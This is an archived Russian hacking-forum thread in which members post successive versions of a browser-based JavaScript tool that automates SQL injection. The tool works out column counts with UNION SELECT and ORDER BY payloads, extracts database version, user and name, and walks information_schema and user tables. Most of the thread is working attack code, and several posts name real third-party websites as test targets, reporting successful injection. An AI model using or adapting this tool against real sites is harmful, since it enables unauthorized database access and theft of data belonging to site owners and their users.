Просмотр полной версии : Javascript-автоматизация поиска колич. колонок
-=lebed=-
16.08.2007, 14:00
Вот написал для себя (за пару часов) небольшой скриптик автоматизации sql-inj для определения колличества колонок. Я конечно понимаю, что дорабатывать его можно очень много, поэтому прошу строго не судить, тем более на javascript я кодер никакой
(выделил специально для inv, чтоб не стебался понапрасну. прим. автора), а предлагать усовершенствования и показать недостатки т.п. Главное он пашет! :D
Итак версия alpha 0.01
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик колличества столбцов</title>
</head>
<script>
var url="http://";
var tek_url=url;
var s="";
var n=0;
function poisk(f) {
tek_url=document.search.url.value;
document.search.colum.value="?";
document.search.tek_url.value=document.search.url. value+"-1+union+select+";
tek_url=document.search.url.value+"-1+union+select+";
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.search.tek_url.value=tek_url;
document.search.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь до уязвимого скрпта
<input name="url" value="http://" size=160%>
</label><br>
<input onClick=poisk(search); type=button value="Подобрать число столбцов" name=calculateit>
<input readonly size=5 name=colum><br>
текущее значение<input name=tek_url size=180% readonly>
</form>
<body onload="changePage()">
<iframe id="ifrm" src="" width="100%" height="500%"/>
</body>
</html>
Затестить можно так:
Вводим путь до уязвимого скрипта:
http://sololiteratura.com/php/autor.php?id=
Жмякаем пимпу подобрать колличество столбцов, видим ошибку, жмякаем ещё, снова ошибка, ещё раз! Опс! Вот и наша скуля... :D число столбцов = 3.
biophreak
16.08.2007, 14:20
Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
-=lebed=-
16.08.2007, 14:30
Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
Ты сначала посмотри что он делает, он ведь не определяет саму скулю, а только вставляет колонки! Подобрал или нет ты оцениваешь чисто визуально, сам!
ЗЫ Используй на своё усмотрение код, я не против...
halkfild
16.08.2007, 16:09
спасиба великий кодер =) /*не скрипт реально удобный*/
только если полей 50 или 30 то запаришься клацать :)
я лично определяю по ордер бай.. так намного быстрее
спасиба великий кодер
давай сразу в избранное
-=lebed=-
16.08.2007, 17:03
спасиба великий кодер =) /*не скрипт реально удобный*/
только если полей 50 или 30 то запаришься клацать :)
я лично определяю по ордер бай.. так намного быстрее
Согласен, замечание стоящее. Надо имхо сделать и эти способом, так меньше придётся делать запросов, если использовать метод бинарного поиска... (пополам, потом ещё пополам и т.д.) ;)
ЗЫ Вручную полтинник вставлять вообще замахаешься...
halkfild
17.08.2007, 01:22
сделал с бинарным поиском...
полностю не тестил.. пару штук проверил вроде все ок..
вообщем вводите адрес вместес параметром http://sololiteratura.com/php/autor.php?id=1
клацаете меньше пока не появится контент.. потом мона больше пока не появится ошибка.. вообщем там просто
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
function poisk(f) {
tek_url=document.search.url.value;
LL=document.search.llc.value*1;
RL=document.search.rlc.value*1;
rgurl= document.search.rurl.value;
tek_url= tek_url + "+order+by+";
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.search.llc.value=LL;
document.search.rlc.value=RL;
document.search.tek_url.value=tek_url;
changePage(tek_url);
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь к уязвимому скрипту<br>
<input name="url" value="http://sololiteratura.com/php/autor.php?id=1" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
</label><br>
<input onClick=poisk(1); type=button value="больше >" style='width:100px;'>
<input onClick=poisk(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/>
</form>
<body onload="changePage()"> <iframe id="ifrm" src="null"></body>
</html>
з.ы. завтра нормально потестю..
*
[+] добавлена возможность использования правой части URL вида http://site.com/script.php?parametr=1[inj]&bla=bla&bla1=bla&bla2=bla
-=lebed=-
17.08.2007, 04:26
Ждите теперь сборку 2in1, halkfild обещал всё это дело слить в один флакон...
halkfild
27.08.2007, 00:45
ну вот я и приехал.. :)
вот cделал все одним файлом. можно выбирать каким методом будет производится подбор
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild, -=lebed=-">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild & -=lebed=-</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
var s="";
var n=0;
function b_search(f) {
tek_url=document.binSearch.url.value;
LL=document.binSearch.llc.value*1;
RL=document.binSearch.rlc.value*1;
rgurl= document.binSearch.rurl.value;
tek_url= tek_url + "+order+by+";
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.tek_url.value=tek_url;
changePage(tek_url);
}
function poisk(f) {
tek_url=document.bruteSearch.url.value;
document.bruteSearch.colum.value="?";
document.bruteSearch.tek_url.value=document.bruteS earch.url. value+"-1+union+select+";
tek_url=document.bruteSearch.url.value+"-1+union+select+";
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.bruteSearch.tek_url.value=tek_url;
document.bruteSearch.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
function dShow(type){
if (type==1) {
document.getElementById( "brute" ).style.display='none';
document.getElementById( "binary" ).style.display='inline';
}
else {
document.getElementById( "binary" ).style.display='none';
document.getElementById( "brute" ).style.display='inline';
}
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);>Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта
<input name="url" value="http://" style='width:600px;'>
</label><br>
<input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit>
<input readonly size=5 name=colum><br>
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'>
</form>
</div>
<iframe id="ifrm" src="null"></body>
</html>
cделаю наверное еще автоподстановку версии и тд. но это уже завтра
з.ы. если есть какие-то предложения или конструктивная критика пишите
halkfild
27.08.2007, 23:45
версия 0.2.1
[~] исправлены недочеты в последовательном переборе
[+] добавлена возможность выбора разделителя ('+','/**/', ' ') /*зы за идею отдельное спасибо +toxa+*/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild, -=lebed=-">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild & -=lebed=-</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
var s="";
var n=0;
function b_search(f) {
tek_url=document.binSearch.url.value;
LL=document.binSearch.llc.value*1;
RL=document.binSearch.rlc.value*1;
rgurl= document.binSearch.rurl.value;
var dlim = document.binSearch.delimiter.value;
//tek_url= tek_url + "+order+by+";
tek_url= tek_url + dlim+"order"+dlim+"by"+dlim;
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.tek_url.value=tek_url;
changePage(tek_url);
}
function poisk(f) {
tek_url=document.bruteSearch.url.value;
document.bruteSearch.colum.value="?";
var dlim = document.bruteSearch.delimiter.value;
//document.bruteSearch.tek_url.value=document.bruteS earch.url. value+"-1+union+select+";
document.bruteSearch.tek_url.value=document.bruteS earch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
tek_url=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.bruteSearch.tek_url.value=tek_url;
document.bruteSearch.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
function dShow(type){
if (type==1) {
document.getElementById( "brute" ).style.display='none';
document.getElementById( "binary" ).style.display='inline';
}
else {
document.getElementById( "binary" ).style.display='none';
document.getElementById( "brute" ).style.display='inline';
}
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
Разделитель <input name=delimiter style='width:45px;' value="+">
<input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'>
Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/>
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'>
</form>
</div>
<iframe id="ifrm" src="null"></body>
</html>
halkfild
01.09.2007, 00:32
новая версия..
переписан почти весь код)
добавлено много нового
например перебор по таблицам, столбцам, подстановка версии и т.д.
хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="© 2007 halkfild">
<STYLE type="text/css">
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
scrollbar-3dlight-color:#2A2E33;
scrollbar-arrow-color:#336600;
scrollbar-base-color:#2A2E33;
scrollbar-darkshadow-color:#336600;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input, textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div {display:none;}
</STYLE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild</title>
</head>
<script language="JavaScript">
var st=0,stl=0,met=1,scUrl;
var met=1;
var cl=0,tl=0; //tableslist, columnslist
var cc; //curent columns
function b_search(f) {
var k;
var tmpUrl=document.binSearch.url.value;
var LL=document.binSearch.llc.value*1; //left limit
var RL=document.binSearch.rlc.value*1; //right limit
var rgurl= document.binSearch.rurl.value;
var dlim = document.binSearch.delimiter.value;
tmpUrl += dlim+"order"+dlim+"by"+dlim;
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tmpUrl += k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.cUrl.value=tmpUrl;
changePage(tmpUrl);
}
function br_search(count) {
var lUrl = document.bruteSearch.url.value;
var rUrl = document.bruteSearch.rurl.value;
var dlim = document.bruteSearch.delimiter.value;
var count= document.bruteSearch.colum.value*1+1;
var tmpUrl,n=0;
var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i);
tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim;
while (n<count){
n++;
tmpUrl += n+""+n+""+n+""+n+""+n+",";
}
tmpUrl = tmpUrl.slice(0,-1) + rUrl
document.bruteSearch.cUrl.value = tmpUrl;
document.bruteSearch.colum.value = n;
changePage(tmpUrl);
}
function changePage(p) { document.getElementById( "ifrm" ).src = p;}
function dShow(type){
if (type==1) {
document.getElementById("brute").style.display='none';
document.getElementById("binary").style.display='inline';
met=1;
}
else if (type==2) {
document.getElementById("binary").style.display='none';
document.getElementById("brute").style.display='inline';
met=2;
}
else if (type==3) {
if (st==0) {
document.getElementById("substitution").style.display='none';
st=1;
}
else {
document.getElementById("substitution").style.display='inline';
st=0;
var dlim = document.binSearch.delimiter.value;
if (met==1) {
var str = document.binSearch.cUrl.value;
var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i);
var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i);
scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]);
document.subst.sUrl.value = scUrl;
}
else {
var str = document.bruteSearch.cUrl.value;
var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i);
scUrl = res[1]+res[2];
document.subst.sUrl.value = scUrl;
}
changePage(document.subst.sUrl.value);
}
}
else if (type==4) {
if (stl==0) {
document.getElementById("list").style.display='none';
stl=1;
}
else {
document.getElementById("list").style.display='inline';
stl=0;
}
}
}
function getSelect (left, right, count) {
var dlim = document.binSearch.delimiter.value;
var tmp=left+dlim+"union"+dlim+"select"+dlim;
for (var i=0; i<count; i++) {
tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ","; //много 11 для поиска
}
tmp = tmp.slice(0,-1) + right;
return tmp;
}
function getSubstr (id) {
var elem = document.getElementById(id).value;
var rs = elem.split(/\n/);
return rs;
}
function tuck (type) {
var dlim = document.binSearch.delimiter.value;
if (type==1) {
var el = getSubstr("columns");
if (cl<el.length) {
setUrl(el[cl]);
cl++;
}
else {
alert("Перебор по списку столбцов окончен");
cl=0;
}
}
else {
var el = getSubstr("tables");
if (tl<el.length) {
var str = scUrl
var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i);
document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2];
changePage(document.subst.sUrl.value);
tl++;
}
else {
alert("Перебор по списку таблиц окончен");
tl=0
}
}
}
function searchword(){
var r,i,s=document.selection.createRange().text;
if(!s)s=prompt('Найти:','');
if(s){
r=document.body.createTextRange();
for(i=0;r.findText(s);i++){
r.execCommand('BackColor','','lightyellow');
r.collapse(false)
}
alert('Найдено: '+i+' слово(а)')
}
}
function setUrl(param) {
var num = document.subst.colNum.value;
var str = scUrl;
var pnum= num+""+num+""+num+""+num+""+num;
var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");
var qqq = str.match(pattern);
var result = qqq[1]+param+qqq[2];
document.subst.sUrl.value = result;
changePage(result);
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
Разделитель <input name=delimiter style='width:45px;' value="+">
<input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'>
Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/>
адрессная строка(URL)<input name=cUrl readonly style='width:600px;'>
</form>
</div>
<form name=subst>
<p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p>
<div id="substitution">
<input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'>
<p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p>
<div id="list">
Столбец <input name="colNum" value="1" style='width:40px;'>
Системная информация <input value="на стадии разработки" style='width:200px;'>
<input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'>
<textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea>
<textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea>
<input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'>
<input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'>
</div>
</div>
</form>
<iframe id="ifrm" src="null"></body>
</html>
нормально не тестил просто уезжаю..
в сведущей версии будет, наверное )) :D :
- отлов старых багов))
может автоопределение выводимого столбца, если с ифреймами все решится.. :mad:
- вывод имен таблиц и столбцов если версия больше 5
ну и еще что-то придумаем :D
з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса
http://127.0.0.1/lab/injector.php?id=2 + правая часть
mindw0rk
01.09.2007, 02:47
Спасибо, дико полезная вещь.
Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
Чем?
лично я не понимаю зачем переписывать еще раз то что уже написано - вот у электа класная тулза -- и им подобным уже докуя - хз зачем?
неужели не жалко своего времени и сил?
Чем?
А какой интерес тогда вобще чтото ломать, когда все за тебя будет делать программа.
-=lebed=-
23.10.2007, 16:49
Модернизировал подборщик столбцов (только свою часть скрипта!)
Добавлено:
- возможность ввода начального (предполагаемого) количества столбцов.
- инкремент, декремент на 1.
- возможность указания разделителя и начального параметра:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>JavaScript SQL-injector by -=lebed=-</title>
</head>
<script>
var sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";
var url="http://"; /*целевой URL*/
var tek_url=url; /*текуший URI*/
var s=""; /*накопитель*/
var n=0;
function get_url(f) {
url=document.search.url.value;
n=1;
s="1";
b=document.search.separator.value;
p=document.search.parametr.value;
while (n<document.search.colum.value)
{
n++;
if (n==1) {s=n;}
else {s=s+","+n;}
}
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*";
document.search.tek_url.value=tek_url;
document.search.colum.value=n;
changePage(tek_url);
pause ();
}
function inc(f) {
document.search.colum.value++
get_url(f)
}
function dec(f) {
document.search.colum.value--
get_url(f)
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь до уязвимого скрипта
<input name="url" value="http://" size=110%>
</label><br>
параметр: <input size=5 name=parametr value="-1">
разделитель: <select name=separator>
<option value=0 selected>+
<option value=1>/**/
<option value=2>пробел
</select>
колонок: <input size=5 name=colum>
<input onClick=inc(search); type=button value="+" name=calculateit>
<input onClick=dec(search); type=button value="-" name=calculateit>
<input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
текущее значение: <input name=tek_url size=110% readonly>
</form>
<body onload="changePage()">
<iframe id="ifrm" src="" width="100%" height="500%"/>
</body>
</html>
Пример:
Путь до скрипта: http://ru-board.com/new/print.php?
Параметр: sid=-1
Разделитель: +
Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов)
В планах:
- вывод полезной инфы из отображаемого столбца (user(), version() и т.д.)
- подстановка в запрос имён таблиц и столбцов из словаря (списка).
-=lebed=-
30.10.2007, 15:19
Новая версия! (alpha 0.03)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>JavaScript SQL-injector by -=lebed=-</title>
</head>
<script>
var sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";
var end =new Array(); /*комментарий (коцовка)*/
end[0]="/*";
end[1]="--";
var limit =new Array(); /*limit*/
limit[0]="";
for (i=1; i < 100; i++) {limit[i]=i;}
var tables_name =new Array(); /*имена таблиц*/
tables_name[0]="";
tables_name[1]="information_schema.tables";
tables_name[2]="users";
t = new Array()
for (i=1; i < 100; i++) {
t[i] = new Array()
t[i][0] = i;
t[i][1] = "version()";
t[i][2] = "user()";
t[i][3] = "database()";
t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
t[i][5] = "table_name";
}
var url="http://"; /*целевой URL*/
var tek_url=url; /*текуший URI*/
var s=""; /*накопитель*/
var n=0;
var m=0;
function get_url(f) {
url=document.search.url.value;
n=1;
b=document.search.separator.value;
p=document.search.parametr.value;
stlb=document.search.stolbec.value;
tabl=tables_name[document.search.n_table.value];
lm=limit[document.search.limit_n.value]
if (stlb!=1)
{s=t[n][0]}
else {s=t[n][document.search.output.value];}
while (n<document.search.colum.value)
{
n++;
if (n!=stlb) {m=0;}
else {m=document.search.output.value;}
if (n==1) {s=t[n][document.search.output.value];}
else {s=s+","+t[n][m];}
}
if (document.search.n_table.value!=0)
{tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}
if (document.search.limit_n.value!=0)
{lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";}
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
document.search.tek_url.value=tek_url;
document.search.colum.value=n;
changePage(tek_url);
pause ();
}
function inc(f) {
document.search.colum.value++
get_url(f)
}
function dec(f) {
document.search.colum.value--
get_url(f)
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь до уязвимого скрипта
<input name="url" value="http://" size=110%>
</label><br>
параметр: <input size=5 name=parametr value="-1">
разделитель: <select name=separator>
<option value=0 selected>+
<option value=1>/**/
<option value=2>пробел
</select>
лимит: <select name=limit_n>
<option value=0 selected>?
<option value=1>1
<option value=2>2
<option value=3>3
<option value=4>4
<option value=5>5
<option value=6>6
<option value=7>7
<option value=8>8
<option value=9>9
<option value=10>10
<option value=11>11
<option value=12>12
<option value=13>13
<option value=14>14
<option value=15>15
<option value=16>16
<option value=17>17
<option value=18>18
<option value=19>19
<option value=20>20
</select>
комментарий: <select name=end_of value=0>
<option value=0 selected>/*
<option value=1>--
</select>
колонок: <input size=5 name=colum>
<input onClick=inc(search); type=button value="+" name=calculateit>
<input onClick=dec(search); type=button value="-" name=calculateit>
<input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
Вывод: <select name=output>
<option value=0 selected>цифры1,2,3...
<option value=1>version()
<option value=2>user()
<option value=3>database()
<option value=4>concat(version(),user(),database())
<option value=5>table_name
</select>
В столбец №: <input size=5 name=stolbec value=1>
из: <select name=n_table value=0>
<option value=0 selected>?
<option value=1>information_schema.tables
<option value=2>users
</select>
<br>
текущее значение: <input name=tek_url size=110% readonly>
</form>
<body onload="changePage()">
<iframe id="ifrm" src="" width="100%" height="500%"/>
</body>
</html>
Добавлено:
- вывод полезной инфы в отображаемый столбец.
- добавлена возможность использовать LIMIT
- добавлена работа с INFORMATION_SCHEMA
В Планах:
- наращивание функционала;
- пополнение списка имён таблиц и названий колонок
Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot